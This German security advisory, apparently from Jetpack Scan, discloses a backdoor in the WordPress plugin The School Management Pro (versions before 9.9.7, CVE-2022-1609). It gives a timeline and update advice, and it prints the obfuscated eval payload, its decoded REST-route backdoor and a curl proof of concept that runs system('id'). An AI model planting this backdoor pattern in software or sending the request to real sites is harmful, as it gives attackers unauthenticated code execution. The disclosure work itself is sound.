Backdoor im The School Management Pro-Plugin für WordPress gefunden

Veröffentlicht: 2022-05-20

Versionen vor 9.9.7 des WordPress-Plugins „The School Management Pro“ von Weblizar enthalten eine Hintertür, die es einem nicht authentifizierten Angreifer ermöglicht, beliebigen PHP-Code auf Seiten auszuführen, auf denen das Plugin installiert ist. Wenn Sie eine frühere Version auf Ihrer Website installiert haben, empfehlen wir, sofort auf Version 9.9.7 oder höher zu aktualisieren. Dies ist ein kritisches Sicherheitsproblem.

Lesen Sie weiter für die vollständigen Details.

Einzelheiten:

  • Plugin-Name: The School Management Pro
  • Plugin-Slug: school-management-pro , school-management-pro-9.9.6 , school-management-pro-9.9.5 , the-school-management , etc
  • Anbieter: Weblizar
  • Betroffene Versionen: < 9.9.7
  • CVE: CVE-2022-1609
  • CVSS-Bewertung: 10,0 (kritisch)
  • CVSS-Vektor: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
  • WPVULNDB: https://wpscan.com/vulnerability/e2d546c9-85b6-47a4-b951-781b9ae5d0f2

Ein Teil der Arbeit hier bei Jetpack Scan besteht darin, unser gehostetes WordPress-Geschäft zu unterstützen, indem verdächtige Dateien auf von uns gehosteten Websites überprüft werden. Normalerweise liegt dies daran, dass eine Datei durch eine unserer Signaturen markiert wurde, oder dass der Eigentümer der Website etwas Verdächtiges gefunden hat und unsere Meinung wissen möchte. Wie es in der Natur der Dinge liegt, sind diese Dateien manchmal gutartig, einige sind Fehlalarme und einige sind neue Malware-Stämme oder -Varianten, die mehr Arbeit erfordern, um sie richtig zu klassifizieren.

Manchmal ist das, was wir bekommen, jedoch insgesamt interessanter.

Vor ein paar Wochen ereignete sich ein solcher Vorfall. Das Eskalations-Supportteam von WordPress.com hat uns wegen verschleiertem, offensichtlich bösartigem Code kontaktiert, der in einem Plugin auf mehreren Websites gefunden wurde.

}
$_fc = eval("\x65\x76\x61\x6c(\x67\x7a".chr($_x = 0x70 - 7).chr($_x += 5).chr($_x -= 8) . "\x6c\x61\x74" . "\x65\x28\x62"."\x61\x73\x65\x36"."\x34\x5f\x64\x65\x63\x6f\x64\x65\x28'fY9BasMwEEXX8ikmECIbnAukJJAW77ooSaCLUsTYHjsilu2O5JRQfPdKDs2mbbTQQu/9mS8sS4WF010bg2SyTmGvlW61kylUQ3tFCXxFgqnW1hGrSeNucBRHQkg0S0MmJ/YJ2eiCWksy9QSZ8RIUIQ25Y1daCbDewOuL2mX7g9oTn4lXq6ddtj1sH5+zdHILbJoci5MM7q0CzJk+Br8ZpjL+zJFrC+sbWG5qcqpHRmPj5GFydAUxaGvJ+QHBf5N5031W2h7lu5+0WMAMyPTu8i//I303OsGfjoLO2Pzm13JjuMfw6SQS/m304Bs='" . str_repeat(chr(0x29), 3)."\x3b");
class WLSM_Crypt_Blowfish_DefaultKey

Nach zwei Runden trivialer Entschleierung ergibt sich:

add_action( 'rest_api_init', function() {
        register_rest_route(
                'am-member', 'license',
                array(
                        'methods'  => WP_REST_Server::CREATABLE,
                        'callback' => function( $request ) {
                                $args = $request->get_params();
                                if ( isset( $args['blowfish'] ) && ! empty( $args['blowfish'] ) && isset( $args['blowf'] ) && ! empty( $args['blowf'] ) ) {
                                        eval( $args['blowf'] );
                                }
                        },
                )
        );
} );

Der Code selbst ist nicht so interessant: Es ist eine offensichtliche Hintertür, die in den Lizenzprüfcode des Plugins eingefügt wurde. Es ermöglicht jedem Angreifer, beliebigen PHP-Code auf der Seite mit installiertem Plugin auszuführen, wie im Proof of Concept unten zu sehen ist:

$ curl -s -d 'blowfish=1' -d "blowf=system('id');" 'http://localhost:8888/wp-json/am-member/license'
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Warning: Cannot modify header information - headers already sent by (output started at /var/www/html/wp-content/plugins/school-management-pro-9.9.4/admin/inc/manager/WLSM_LC.php(683) : eval()'d code(1) : eval()'d code(9) : eval()'d code:1) in /var/www/html/wp-includes/rest-api/class-wp-rest-server.php on line 1713

So etwas sehen wir oft in nulled Plugins; Dies passiert so oft, dass wir einen ähnlichen Fall bereits in einem früheren Beitrag behandelt haben. Unsere erste Vermutung war, dass dies auch hier der Fall war; Die Websitebesitzer hatten ein Plugin aus einer schattigen Quelle installiert.

Uns wurde jedoch zugesichert, dass die installierten Plugins direkt vom Hersteller bezogen wurden. Dies wurde auch schnell vom Anbieter bestätigt, der den anstößigen Code entfernte, nachdem er auf seine Anwesenheit aufmerksam gemacht worden war.

Wir haben versucht, vom Anbieter mehr Informationen darüber zu erhalten, wann die Hintertür injiziert wurde, welche Versionen betroffen sind und wie der Code überhaupt in das Plugin gelangt ist. Diese Bemühungen waren erfolglos, da der Anbieter angibt, nicht zu wissen, wann oder wie der Code in seine Software gelangt ist.

Wir haben mindestens Versionen ab 8.9 gesehen, die die Hintertür in unseren gehosteten Systemen enthielten, aber da wir keine klaren Informationen darüber haben, wann die Hintertür zum ersten Mal auftauchte, müssen wir davon ausgehen, dass jede Version vor 9.9.7 betroffen ist.

Das Erkennen und Warnen vor dem Problem wird weiter dadurch erschwert, dass das Plugin unter einer Reihe verschiedener Slugs arbeitet, die häufig Slugs verwenden, die die Versionsnummer enthalten. In unseren gehosteten Systemen haben wir mindestens diese Varianten gesehen:

  • school-management
  • school-management-v*
  • school-management-pro
  • school-management-pro-*
  • the-school-management

Die kostenlose Version aus dem Plugin-Repository von WordPress.org enthält keinen Lizenzcode und ist auch nicht von dieser Hintertür betroffen.

Zeitleiste

04.05.2022: Das eskalierte Support-Team von WordPress.com entdeckt den eingeschleusten Code und wendet sich an Jetpack Scan, um den Fund zu analysieren und zu verifizieren. Nachdem sie bestätigt haben, dass es sich um eine Hintertür handelt, benachrichtigen sie den Anbieter.

05.05.2022: Der Anbieter bestätigt, dass sich der eingeschleuste Code tatsächlich in seiner Distribution befindet, und stellt uns eine Version 9.9.7 zur Verfügung, in der die Hintertür entfernt wurde. Wir bestätigen, dass es sauber ist.

06.05.2022: Der Anbieter verteilt Version 9.9.7 aktiv an seine Kunden und ermutigt sie zur Aktualisierung.

2022-05-10: Der Anbieter hat auf unsere zusätzlichen Fragen geantwortet, ob er wusste, wann die Hintertür hinzugefügt wurde, behauptet aber, er wüsste es nicht. Sie stellten eine frühere Version, 9.9.4, zur Verfügung, die die Hintertür enthielt.

Fazit

Wir empfehlen, dass alle Sites, auf denen eine Version vor 9.9.7 von The School Management Pro installiert ist, sofort aktualisiert werden.

Bei Jetpack arbeiten wir hart daran sicherzustellen, dass Ihre Websites vor dieser Art von Schwachstellen geschützt sind. Wir empfehlen, dass Sie einen Sicherheitsplan für Ihre Website haben, der das Scannen von bösartigen Dateien und Sicherungen umfasst. Jetpack Security ist eine großartige WordPress-Sicherheitsoption, um sicherzustellen, dass Ihre Website und Besucher sicher sind.

Kredite

Diese Forschung war eine Zusammenarbeit zwischen dem eskalierten Support-Team von WordPress.com mit Nic Sevic, Thom Stackhouse und Joshua Goode und Jetpack Scan mit Harald Eilertsen und Fioravante Cavallari. Danke auch an Benedict Singer für Rückmeldungen und Korrekturen.